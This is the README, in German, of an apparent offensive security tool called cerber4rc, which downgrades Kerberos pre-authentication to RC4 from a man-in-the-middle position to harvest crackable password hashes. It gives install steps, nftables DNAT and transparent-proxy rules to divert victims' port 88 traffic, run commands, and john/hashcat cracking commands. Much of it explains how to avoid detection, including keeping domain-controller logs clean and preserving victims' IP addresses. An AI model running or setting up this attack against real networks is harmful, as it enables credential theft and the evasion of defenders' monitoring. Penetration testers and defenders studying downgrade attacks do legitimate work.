
Ein Tool zum stealthy Ernten von RC4-Hashes über ASREQroasting
cerber4rc stuft Kerberos-Vorauthentifizierungsnachrichten herab, indem es Clients dazu zwingt, ihre AS-REQ-Zeitstempel mit ARC4 (RC4) zu verschlüsseln, während es sich gegenüber dem Domänencontroller weiterhin mit sicheren Verschlüsselungsverfahren authentifiziert – mit anderen Worten, es führt RC4-basiertes AS-REQ-Roasting auf eine unauffällige Weise durch. Der erbeutete Hash ($krb5pa$23$) ist deutlich schneller zu knacken als AES-verschlüsselte AS-REQ-Nachrichten, und auf dem Domänencontroller werden keine Sicherheitsereignisse im Zusammenhang mit unsicheren Verschlüsselungsverfahren protokolliert. Das Tool unterstützt außerdem transparentes Proxying, sodass die Quell-IP-Adresse des Opfers erhalten bleibt.
$ pipx install git+https://github.com/synacktiv/cerber4rc
$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc
Um das Tool zu verwenden, müssen Sie zunächst eine Man-in-the-Middle-(MitM-)Position erlangt haben, die es Ihnen ermöglicht, den Kerberos-Datenverkehr Ihrer Opfer abzufangen. Dies kann auf verschiedene Weise erreicht werden, zum Beispiel:
[!IMPORTANT] Der Zielrechner muss so konfiguriert sein, dass er RC4 unterstützt, andernfalls schlägt der Downgrade fehl, was vom Tool automatisch erkannt wird. Dies ist keine Voraussetzung auf der KDC-Seite: Wenn die Ziel-Workstation RC4 als etype ankündigt, der Domänencontroller jedoch keine RC4-Verschlüsselung für die Kerberos-Vorauthentifizierung unterstützt, funktioniert der Angriff dennoch.
Sobald Sie Kerberos-Datenverkehr empfangen, besteht die Idee darin, Port 88/TCP per DNAT auf einen lokalen TCP-Socket umzuleiten, auf dem das Tool lauscht. Dies kann mit den folgenden nft-Regeln erreicht werden:
$ cat /etc/nftables.conf
[...]
table inet nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
[...]
ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
}
}
[...]
$ sudo nft -f /etc/nftables.conf
Ihr Angriffsrechner muss außerdem IP-Weiterleitung erlauben, was folgendermaßen aktiviert werden kann:
$ sudo sysctl net.ipv4.ip_forward=1
[!NOTE] Wenn Sie das Tool im Modus
--transparentverwenden, ist eine zusätzliche Einrichtung erforderlich, die im Abschnitt zum transparenten Proxy beschrieben wird.
cerber4rc ermöglicht die passive Abfangung von Kerberos-Vorauthentifizierungsnachrichten mit dem Flag --relay. Es leitet Hashes basierend auf dem etype ab, den die Opfer zur Verschlüsselung ihres Vorauthentifizierungs-Zeitstempels verwenden (AES oder RC4).
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay
cerber4rc unterstützt zwei verschiedene Modi für die aktive Abfangung: einen regulären TCP-Proxy (Standardmodus) und einen transparenten Proxy (Flag --transparent).
Dieser Modus ist das Standardverhalten des Tools. Er „teilt" die Verbindung in zwei getrennte Teile, indem er die TCP-Verbindung auf der Client-Seite beendet und eine neue TCP-Verbindung zum Domain Controller (DC) aufbaut. Aus Netzwerksicht sieht der DC die IP der Maschine, auf der cerber4rc läuft, was in gehärteten und ausgereiften Umgebungen Erkennungsregeln auslösen kann.
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>
Dieser Modus kann durch Verwendung des Flags --transparent aktiviert werden. Er erstellt einen transparenten Proxy, der die Fähigkeit CAP_NET_ADMIN erfordert oder dass das Tool als root-Benutzer ausgeführt wird. Dies ermöglicht es, die IP-Adresse des Opfers beizubehalten, wenn Kerberos-Pre-Authentifizierungsnachrichten herabgestuft werden: Die auf dem KDC für TGT-Anfragen generierten Ereignisprotokolle enthalten die IP-Adresse des Opfers und nicht die des Angreifer-Rechners, auf dem cerber4rc läuft.
Damit dieser Modus funktioniert, ist eine andere Netzwerkkonfiguration erforderlich. Zunächst müssen die folgenden nft-Regeln erstellt werden:
table ip tproxy_kerberos {
chain divert {
type filter hook prerouting priority mangle; policy accept;
socket transparent 1 meta mark set 1 accept
meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
}
}
Anschließend müssen die folgende Policy-Routing-Regel und die Route definiert werden:
$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100
cerber4rc kann dann mit dem Flag --transparent ausgeführt werden, als root oder indem Sie Ihrem Python-Interpreter die Capability CAP_NET_ADMIN erteilen:
$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes
Erfasste Hashes werden standardmäßig in den Dateien <current_timestamp>-hashes_hashcat und <current_timestamp>-hashes_john im aktuellen Verzeichnis protokolliert. Dieses Verhalten kann
mit dem Flag --hash-logfile (-o) geändert werden. Das Tool prüft zunächst, ob Sie die erforderlichen Berechtigungen zum Schreiben am ausgewählten Speicherort besitzen, und beendet sich andernfalls.
Um die gesammelten Hashes zu knacken, können Sie john oder hashcat mit den folgenden Optionen verwenden:
# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt
# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt # etype 18, AES-256